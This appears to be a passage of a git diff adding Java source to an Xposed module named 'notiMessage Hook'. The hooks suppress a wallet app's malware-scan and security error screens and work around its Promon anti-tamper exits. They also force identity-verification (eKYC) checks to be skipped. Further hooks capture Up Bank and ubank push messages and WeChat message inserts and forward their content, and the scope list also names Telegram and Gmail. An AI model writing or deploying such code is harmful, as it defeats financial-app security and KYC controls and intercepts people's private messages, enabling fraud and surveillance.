||||
}
|
||||
XposedHelpers.findAndHookConstructor(resultClass, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
sanitizeJailBrokenResult(param.getResult());
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " JailBrokenResult hooks failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookAppSecurityManager(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
// addIntoQueue 勿拦:拦截后 Promon 会走 native _exit fallback
|
||||
hookReturnFalse(lpparam,
|
||||
"my.com.tngdigital.common.security.malwarescan.MalwareScanUtils",
|
||||
"isShowErrorScreen");
|
||||
}
|
||||
|
||||
private static void hookSecurityErrorActivity(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookSecurityErrorLaunch(lpparam);
|
||||
hookGenericSecurityErrorFinish();
|
||||
XC_MethodHook closeSecurityScreen = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
XposedBridge.log(TAG + " closing " + activity.getClass().getSimpleName());
|
||||
activity.finish();
|
||||
}
|
||||
};
|
||||
for (String activityClass : new String[]{
|
||||
SECURITY_ERROR_ACTIVITY,
|
||||
"my.com.tngdigital.common.security.ui.SecurityErrorBaseActivity",
|
||||
}) {
|
||||
hookAllOnCreateMethods(lpparam, activityClass, closeSecurityScreen);
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookAllOnCreateMethods(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
XC_MethodHook hook) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!"onCreate".equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, hook);
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " onCreate overload(s) in " + className);
|
||||
} else {
|
||||
XposedBridge.log(TAG + " no onCreate in " + className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " " + className + " onCreate hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** SecurityErrorActivity 为 Compose,无独立 onCreate;在 Activity 基类统一 finish。 */
|
||||
private static void hookGenericSecurityErrorFinish() {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class,
|
||||
"onCreate",
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
String name = activity.getClass().getName();
|
||||
if (name.contains("SecurityError")) {
|
||||
XposedBridge.log(TAG + " finishing " + name);
|
||||
activity.finish();
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Activity.onCreate SecurityError finish");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " generic SecurityError finish failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 拦截 Security 状态机启动 SecurityErrorActivity。 */
|
||||
private static void hookSecurityErrorLaunch(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
// launchProcessNextSecurityStateIfIdle / addIntoQueue 勿拦:
|
||||
// 拦截后 Promon 会立刻走 native exit_group(1)。
|
||||
// 杀进程改由 finishAllActivityAndKillApp / showSecurityScreenForState 兜底。
|
||||
XposedBridge.log(TAG + " skip launchProcessNext noop (avoid native exit fallback)");
|
||||
}
|
||||
|
||||
/**
|
||||
* 首页强制「验证您的帐户」(HomeEkycVerifyActivity) — 测试期跳过。
|
||||
* 拦启动 + onCreate finish;canBypassEkyc=true;enforceEkyc=false。
|
||||
*/
|
||||
private static void hookHomeEkycVerifySkip(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class,
|
||||
"onCreate",
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
String name = activity.getClass().getName();
|
||||
if (name != null && name.contains("HomeEkycVerify")) {
|
||||
XposedBridge.log(TAG + " skip eKYC — finish " + name);
|
||||
activity.finish();
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked HomeEkycVerify Activity finish");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " HomeEkycVerify finish hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
// 白名单绕过:返回 true
|
||||
hookBooleanMethodsByName(lpparam,
|
||||
"my.com.tngdigital.home.viewmodel.BypassEkycWhiteListChecker",
|
||||
true, "canBypassEkyc", "bypassEkyc", "isWhitelist", "inWhitelist");
|
||||
// 强制 eKYC 开关:返回 false
|
||||
for (String className : new String[]{
|
||||
"my.com.tngdigital.home.help.HomeEkycCheckHelper",
|
||||
"my.com.tngdigital.home.ekyc.KycHomepagePopUpManager",
|
||||
"my.com.tngdigital.home.ekyc.HomeEkycVerifyViewModel",
|
||||
"my.com.tngdigital.home.viewmodel.HomeListActivityViewModel",
|
||||
}) {
|
||||
hookBooleanMethodsByName(lpparam, className, false,
|
||||
"getEnforceEkyc", "enforceEkyc", "needShowEkyc", "needForceEkyc",
|
||||
"isForceEkyc", "checkEkyc", "firstCheckEkyc", "needShowEkycCddAudit");
|
||||
hookVoidMethodsByName(lpparam, className,
|
||||
"checkEkyc", "checkEkycStatus", "checkEkycRequest",
|
||||
"requestEkycStatus", "showEkyc", "launchEkyc", "openEkyc");
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookBooleanMethodsByName(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
boolean result,
|
||||
String... nameHints) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (method.getReturnType() != boolean.class && method.getReturnType() != Boolean.class) {
|
||||
continue;
|
||||
}
|
||||
String n = method.getName();
|
||||
boolean match = false;
|
||||
for (String hint : nameHints) {
|
||||
if (n.equals(hint) || n.toLowerCase(Locale.US).contains(hint.toLowerCase(Locale.US))) {
|
||||
match = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!match) {
|
||||
continue;
|
||||
}
|
||||
final boolean ret = result;
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(ret);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
XposedBridge.log(TAG + " eKYC bool stub " + className + " n=" + hooked + " -> " + result);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " eKYC bool stub skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookVoidMethodsByName(
|
||||
XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className,
|
||||
String... nameHints) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (method.getReturnType() != void.class) {
|
||||
continue;
|
||||
}
|
||||
String n = method.getName();
|
||||
boolean match = false;
|
||||
for (String hint : nameHints) {
|
||||
if (n.equals(hint) || n.startsWith(hint)) {
|
||||
match = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!match) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " eKYC void noop " + className + " n=" + hooked);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " eKYC void noop skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookReturnFalse(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!methodName.equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType != boolean.class && returnType != Boolean.class) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " overload(s) "
|
||||
+ className + "#" + methodName + " -> false");
|
||||
} else {
|
||||
XposedBridge.log(TAG + " no boolean method " + className + "#" + methodName);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + "#" + methodName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookNoArgVoid(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String methodName) {
|
||||
hookAllMethodsNoop(lpparam, className, methodName);
|
||||
}
|
||||
|
||||
private static void setSafeHookResult(XC_MethodHook.MethodHookParam param, Method method) {
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType == void.class) {
|
||||
param.setResult(null);
|
||||
} else if (returnType == boolean.class) {
|
||||
param.setResult(false);
|
||||
} else if (returnType == int.class) {
|
||||
param.setResult(0);
|
||||
} else if (returnType == long.class) {
|
||||
param.setResult(0L);
|
||||
} else if (returnType == float.class) {
|
||||
param.setResult(0f);
|
||||
} else if (returnType == double.class) {
|
||||
param.setResult(0d);
|
||||
} else if (returnType == byte.class) {
|
||||
param.setResult((byte) 0);
|
||||
} else if (returnType == short.class) {
|
||||
param.setResult((short) 0);
|
||||
} else if (returnType == char.class) {
|
||||
param.setResult((char) 0);
|
||||
} else if (returnType == Boolean.class) {
|
||||
param.setResult(Boolean.FALSE);
|
||||
} else if (returnType == Integer.class) {
|
||||
param.setResult(Integer.valueOf(0));
|
||||
} else if (returnType == Long.class) {
|
||||
param.setResult(Long.valueOf(0L));
|
||||
} else if (returnType == Float.class) {
|
||||
param.setResult(Float.valueOf(0f));
|
||||
} else if (returnType == Double.class) {
|
||||
param.setResult(Double.valueOf(0d));
|
||||
} else if (returnType == String.class) {
|
||||
param.setResult("");
|
||||
} else if (returnType == byte[].class) {
|
||||
param.setResult(new byte[0]);
|
||||
} else {
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* ubank — Capacitor + MoEngage 推送。
|
||||
* 逆向结论:
|
||||
* - com.moengage.firebase.MoEFireBaseMessagingService(交易/营销推送主路径)
|
||||
* - io.capawesome.capacitorjs.plugins.firebase.messaging.MessagingService(Capacitor FCM 插件)
|
||||
*/
|
||||
public final class UbankMessageHook {
|
||||
|
||||
private static final String MOE_SERVICE = "com.moengage.firebase.MoEFireBaseMessagingService";
|
||||
private static final String CAPACITOR_SERVICE =
|
||||
"io.capawesome.capacitorjs.plugins.firebase.messaging.MessagingService";
|
||||
|
||||
private UbankMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
BankHookHelper.hookFcmService(lpparam, MOE_SERVICE, HookBridge.SOURCE_XPOSED_UBANK);
|
||||
BankHookHelper.hookFcmService(lpparam, CAPACITOR_SERVICE, HookBridge.SOURCE_XPOSED_UBANK);
|
||||
BankNotificationHook.install(lpparam, HookBridge.SOURCE_XPOSED_UBANK_NOTIFY);
|
||||
XposedBridge.log("notiMessageHook/ubank installed for " + lpparam.packageName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* Up Bank — React Native + 原生 FCM HandlerService。
|
||||
* 逆向结论:au.com.up.money.notifications.HandlerService#onMessageReceived(RemoteMessage)
|
||||
*/
|
||||
public final class UpBankMessageHook {
|
||||
|
||||
private static final String HANDLER_SERVICE = "au.com.up.money.notifications.HandlerService";
|
||||
|
||||
private UpBankMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
BankHookHelper.hookFcmService(lpparam, HANDLER_SERVICE, HookBridge.SOURCE_XPOSED_UP);
|
||||
BankNotificationHook.install(lpparam, HookBridge.SOURCE_XPOSED_UP_NOTIFY);
|
||||
XposedBridge.log("notiMessageHook/Up installed for " + lpparam.packageName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.content.ContentValues;
|
||||
import android.content.Context;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
import com.miraclegarden.smsmessage.xposed.HookForwarder;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
public final class WeChatMessageHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/WeChat";
|
||||
private static final String WCDB_CLASS = "com.tencent.wcdb.database.SQLiteDatabase";
|
||||
|
||||
private WeChatMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
hookWcdbInsert(lpparam, "insert");
|
||||
hookWcdbInsert(lpparam, "insertWithOnConflict");
|
||||
XposedBridge.log(TAG + " installed for " + lpparam.packageName);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " install failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookWcdbInsert(XC_LoadPackage.LoadPackageParam lpparam, String methodName) {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
WCDB_CLASS,
|
||||
lpparam.classLoader,
|
||||
methodName,
|
||||
String.class,
|
||||
String.class,
|
||||
ContentValues.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
handleWeChatInsert(param);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
private static void handleWeChatInsert(XC_MethodHook.MethodHookParam param) {
|
||||
if (param.args == null || param.args.length < 3) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object tableArg = param.args[0];
|
||||
Object valuesArg = param.args[2];
|
||||
if (!(tableArg instanceof String) || !(valuesArg instanceof ContentValues)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String table = (String) tableArg;
|
||||
if (!"message".equalsIgnoreCase(table)) {
|
||||
return;
|
||||
}
|
||||
|
||||
ContentValues values = (ContentValues) valuesArg;
|
||||
String talker = values.getAsString("talker");
|
||||
String content = values.getAsString("content");
|
||||
Integer type = values.getAsInteger("type");
|
||||
|
||||
if (TextUtils.isEmpty(content)) {
|
||||
return;
|
||||
}
|
||||
if (type != null && (type == 10000 || type == 10002)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Context context = getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
HookForwarder.forward(context, "com.tencent.mm", talker, content,
|
||||
HookBridge.SOURCE_XPOSED_WECHAT);
|
||||
}
|
||||
|
||||
private static Context getContext() {
|
||||
try {
|
||||
Class<?> activityThread = XposedHelpers.findClass("android.app.ActivityThread", null);
|
||||
Object app = XposedHelpers.callStaticMethod(activityThread, "currentApplication");
|
||||
if (app instanceof Context) {
|
||||
return (Context) app;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
14
xposed-module/src/main/res/values/arrays.xml
Normal file
14
xposed-module/src/main/res/values/arrays.xml
Normal file
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string-array name="xposed_scope">
|
||||
<item>org.telegram.messenger</item>
|
||||
<item>org.telegram.messenger.web</item>
|
||||
<item>com.tencent.mm</item>
|
||||
<item>com.google.android.gm</item>
|
||||
<item>au.com.up.money</item>
|
||||
<item>au.com.suncorp.marketplace</item>
|
||||
<item>au.com.bank86400</item>
|
||||
<item>ph.seabank.seabank</item>
|
||||
<item>sg.com.maribankmobile.digitalbank</item>
|
||||
</string-array>
|
||||
</resources>
|
||||
5
xposed-module/src/main/res/values/strings.xml
Normal file
5
xposed-module/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="module_name">notiMessage Hook</string>
|
||||
<string name="xposed_description">Hook 目标 App 消息,前台也能同步到 notiMessage。需在 LSPosed 中勾选目标 App 并启用本模块。</string>
|
||||
</resources>
|
||||
Reference in New Issue
Block a user